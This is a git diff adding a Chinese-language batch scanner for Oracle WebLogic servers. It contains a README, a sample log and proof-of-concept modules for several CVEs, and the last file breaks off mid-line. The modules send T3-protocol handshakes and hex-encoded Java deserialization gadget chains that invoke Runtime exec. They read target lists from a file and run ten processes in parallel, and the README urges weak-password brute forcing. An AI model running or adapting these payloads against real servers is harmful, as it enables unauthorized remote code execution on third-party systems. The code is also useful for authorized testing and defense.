diff --git a/WeblogicScanLot/README.md b/WeblogicScanLot/README.md new file mode 100644 index 0000000..2658b4f --- /dev/null +++ b/WeblogicScanLot/README.md @@ -0,0 +1,98 @@ + 软件作者：Tide_RabbitMask + 免责声明：Pia!(ｏ ‵-′)ノ”(ノ﹏<。) + 本工具仅用于安全测试，请勿用于非法使用，要乖哦~ + + V2.2简介： + 提供weblogic批量检测功能，收录几乎全部weblogic历史漏洞。 + 【没有遇到过weblogic批量检测工具的小朋友举起你的爪爪！】 + + PS： + 综上:V2.*系列不是V1.*的升级版，只是多进程批量版本。 + 对于当个目标站点的检测，依然推荐您使用V1.*系列。 + + V 2.*系列特色： + 1.多进程任务高效并发 + 2.简洁直观的监控界面 + 3.健全的日志记录功能 + 4.健全的异常处理机制 + + V 2.*功能详情： + #控制台路径泄露 + Console + + #SSRF： + CVE-2014-4210 + + #JAVA反序列化 + CVE-2016-0638 + CVE-2016-3510 + CVE-2017-3248 + CVE-2018-2628 + CVE-2018-2893 + CVE-2019-2725 + CVE-2019-2729 + + #任意文件上传 + CVE-2018-2894 + + #XMLDecoder反序列化 + CVE-2017-3506 + CVE-2017-10271 + + V 2.1更新日志： + 系列重新定义为WeblogicScanLot版本。 + 新增大量成熟POC，与V1.3保持一致。 + 同样新版本完全舍弃Python2。 + 日志功能重构，更加健壮实用。 + Kill旧版本window下多进程适应性BUG + + V 2.2更新日志： + 日志输出重做，之前的版本迁移导致日志并不适合作为批量扫描结果， + 希望这次改动可以满足各位要求，如有bug issue继续安排~感谢！ + + + 【软件使用Demo】 + 【此处只提供了本机单机扫描demo，多线程实战场面太过血腥，请在家长陪同下自行体验】 + + #控制台： + ========================================================================= + __ __ _ _ _ ____ + \ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __ + \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \ + \ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | | + \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_| + |___/ + By Tide_RabbitMask | V 2.2 + + + Welcome To WeblogicScan !!! + Whoami：rabbitmask.github.io + + [*]任务加载成功，目标:127.0.0.1:7001 + + [*]任务检测完成，目标:127.0.0.1:7001 + + >>>>>End of task + + ========================================================================= + + #日志文件： + ========================================================================= + + 2019-07-28 14:57:48,702 [+]127.0.0.1:7001 console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp Please try weak password blasting! + 2019-07-28 14:57:48,717 [+]127.0.0.1:7001 UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/ Please verify the SSRF vulnerability! + 2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_0638. + 2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_3510. + 2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2017_3248. + 2019-07-28 14:57:48,725 [-]127.0.0.1:7001 not detected CVE-2017-3506. + 2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE-2017-10271. + 2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2628. + 2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2893. + 2019-07-28 14:57:48,735 [-]127.0.0.1:7001 not detected CVE-2018-2894. + 2019-07-28 14:57:48,914 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2725. + 2019-07-28 14:57:49,133 [+]And your current permission is:rabbitmask\rabbitmask. + 2019-07-28 14:57:51,356 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2729. + 2019-07-28 14:57:51,356 [+]And your current permission is:rabbitmask\rabbitmask. + + + ========================================================================= diff --git a/WeblogicScanLot/Weblogic.log b/WeblogicScanLot/Weblogic.log new file mode 100644 index 0000000..b8f025e --- /dev/null +++ b/WeblogicScanLot/Weblogic.log @@ -0,0 +1,14 @@ +2019-07-28 14:57:48,702 [+]127.0.0.1:7001 console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp Please try weak password blasting! +2019-07-28 14:57:48,717 [+]127.0.0.1:7001 UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/ Please verify the SSRF vulnerability! +2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_0638. +2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_3510. +2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2017_3248. +2019-07-28 14:57:48,725 [-]127.0.0.1:7001 not detected CVE-2017-3506. +2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE-2017-10271. +2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2628. +2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2893. +2019-07-28 14:57:48,735 [-]127.0.0.1:7001 not detected CVE-2018-2894. +2019-07-28 14:57:48,914 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2725. +2019-07-28 14:57:49,133 [+]And your current permission is:rabbitmask\rabbitmask. +2019-07-28 14:57:51,356 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2729. +2019-07-28 14:57:51,356 [+]And your current permission is:rabbitmask\rabbitmask. diff --git a/WeblogicScanLot/WeblogicScanLot.py b/WeblogicScanLot/WeblogicScanLot.py new file mode 100644 index 0000000..9cc5663 --- /dev/null +++ b/WeblogicScanLot/WeblogicScanLot.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python +# _*_ coding:utf-8 _*_ + +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import re +from multiprocessing import Pool, Manager +import poc.Console +import poc.CVE_2014_4210 +import poc.CVE_2016_0638 +import poc.CVE_2016_3510 +import poc.CVE_2017_3248 +import poc.CVE_2017_3506 +import poc.CVE_2017_10271 +import poc.CVE_2018_2628 +import poc.CVE_2018_2893 +import poc.CVE_2018_2894 +import poc.CVE_2019_2725 +import poc.CVE_2019_2729 + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +version = "2.2" +banner=''' +__ __ _ _ _ ____ +\ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __ + \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \ + \ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | | + \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_| + |___/ + By Tide_RabbitMask | V {} +'''.format(version) + +def board(): + print (banner) + print('Welcome To WeblogicScan !!!\nWhoami：rabbitmask.github.io\n') + #懒得做交互了，大家自行变更path + path='ipresult.txt' + poolmana(path) + + +def poolmana(path): + p = Pool(10) + q = Manager().Queue() + fr = open(path, 'r') + rtar = fr.readlines() + fr.close() + for i in range(len(rtar)): + ruleip=re.compile('(.*?):') + rip =(ruleip.findall(rtar[i]))[0] + ruleport=re.compile(':(.*)') + rport=ruleport.findall(rtar[i])[0] + p.apply_async(work,args=(rip,rport,q,)) + p.close() + p.join() + print('>>>>>End of task\n') + + +def work(rip,rport,q): + print ('[*]任务加载成功，目标:{}:{}\n'.format(rip,rport)) + try: + poc.Console.run(rip, rport) + except: + logging.info ("[-]{}:{} console address not found.".format(rip,rport)) + + try: + poc.CVE_2014_4210.run(rip,rport) + except: + logging.info ("[-]{}:{} not detected CVE_2014_4210.".format(rip,rport)) + + try: + poc.CVE_2016_0638.run(rip,rport,0) + except: + logging.info ("[-]{}:{} not detected CVE_2016_0638.".format(rip,rport)) + + try: + poc.CVE_2016_3510.run(rip, rport, 0) + except: + logging.info ("[-]{}:{} not detected CVE_2016_3510.".format(rip,rport)) + + try: + poc.CVE_2017_3248.run(rip, rport, 0) + except: + logging.info ("[-]{}:{} not detected CVE_2017_3248.".format(rip,rport)) + + try: + poc.CVE_2017_3506.run(rip, rport, 0) + except: + logging.info ("[-]{}:{} not detected CVE_2017_3506.".format(rip,rport)) + + try: + poc.CVE_2017_10271.run(rip, rport, 0) + except: + logging.info("[-]{}:{} not detected CVE_2017_10271.".format(rip,rport)) + + try: + poc.CVE_2018_2628.run(rip, rport, 0) + except: + logging.info("[-]{}:{} not detected CVE_2018_2628.".format(rip,rport)) + + try: + poc.CVE_2018_2893.run(rip, rport, 0) + except: + logging.info("[-]{}:{} not detected CVE_2018_2893.".format(rip,rport)) + + try: + poc.CVE_2018_2894.run(rip, rport, 0) + except: + logging.info("[-]{}:{} not detected CVE_2018_2894.".format(rip,rport)) + + try: + poc.CVE_2019_2725.run(rip, rport, 0) + except: + logging.info("[-]{}:{} not detected CVE_2019_2725.".format(rip,rport)) + + try: + poc.CVE_2019_2729.run(rip, rport, 0) + except: + logging.info("[-]{}:{} not detected CVE_2019_2729.".format(rip,rport)) + + print ('[*]任务检测完成，目标:{}:{}\n'.format(rip,rport)) + q.put(rip) + +def run(): + board() + +if __name__ == '__main__': + run() diff --git a/WeblogicScanLot/ipresult.txt b/WeblogicScanLot/ipresult.txt new file mode 100644 index 0000000..26ecb21 --- /dev/null +++ b/WeblogicScanLot/ipresult.txt @@ -0,0 +1 @@ +127.0.0.1:7001 \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2014_4210.py b/WeblogicScanLot/poc/CVE_2014_4210.py new file mode 100644 index 0000000..ae94d60 --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2014_4210.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import sys +import requests + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +headers = {'user-agent': 'ceshi/0.0.1'} + +def islive(ur,port): + url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/' + r = requests.get(url, headers=headers) + return r.status_code + +def run(url,port): + if islive(url,port)==200: + u='http://' + str(url)+':'+str(port)+'/uddiexplorer/' + logging.info('[+]{}:{} UDDI module is exposed! The path is: {} Please verify the SSRF vulnerability!'.format(url,port,u)) + else: + logging.info("[-]{}:{} UDDI module default path does not exist!".format(url,port)) + +if __name__=="__main__": + url = sys.argv[1] + port = int(sys.argv[2]) + run(url,port) diff --git a/WeblogicScanLot/poc/CVE_2016_0638.py b/WeblogicScanLot/poc/CVE_2016_0638.py new file mode 100644 index 0000000..40682c3 --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2016_0638.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import socket +import sys +import time +import re + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2016-0638'] +PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078'] +VER_SIG=['weblogic.jms.common.StreamMessageImpl'] + +def t3handshake(sock,server_addr): + sock.connect(server_addr) + sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) + time.sleep(1) + sock.recv(1024) + +def buildT3RequestObject(sock,rport): + data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' + data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport)) + data3 = '1a7727000d3234322e323134' + data4 = '2e312e32353461863d1d0000000078' + for d in [data1,data2,data3,data4]: + sock.send(bytes.fromhex(d)) + time.sleep(2) + +def sendEvilObjData(sock,data): + payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload+=data + payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) + sock.send(bytes.fromhex(payload)) + res = '' + try: + while True: + res += sock.recv(4096) + time.sleep(0.1) + except Exception: + pass + return res +def checkVul(res,server_addr,index): + p=re.findall(VER_SIG[index], res, re.S) + a,b=server_addr + if len(p)>0: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index])) + else: + logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index])) + +def run(rip,rport,index): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + server_addr = (rip, rport) + t3handshake(sock,server_addr) + buildT3RequestObject(sock,rport) + rs=sendEvilObjData(sock,PAYLOAD[index]) + checkVul(rs,server_addr,index) + +if __name__=="__main__": + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2016_3510.py b/WeblogicScanLot/poc/CVE_2016_3510.py new file mode 100644 index 0000000..b54c52a --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2016_3510.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import socket +import sys +import time +import re +import logging + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2016-3510'] +PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078'] +VER_SIG=['org.apache.commons.collections.functors.InvokerTransformer'] +def t3handshake(sock,server_addr): + sock.connect(server_addr) + sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) + time.sleep(1) + sock.recv(1024) +def buildT3RequestObject(sock,rport): + data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' + data2 = 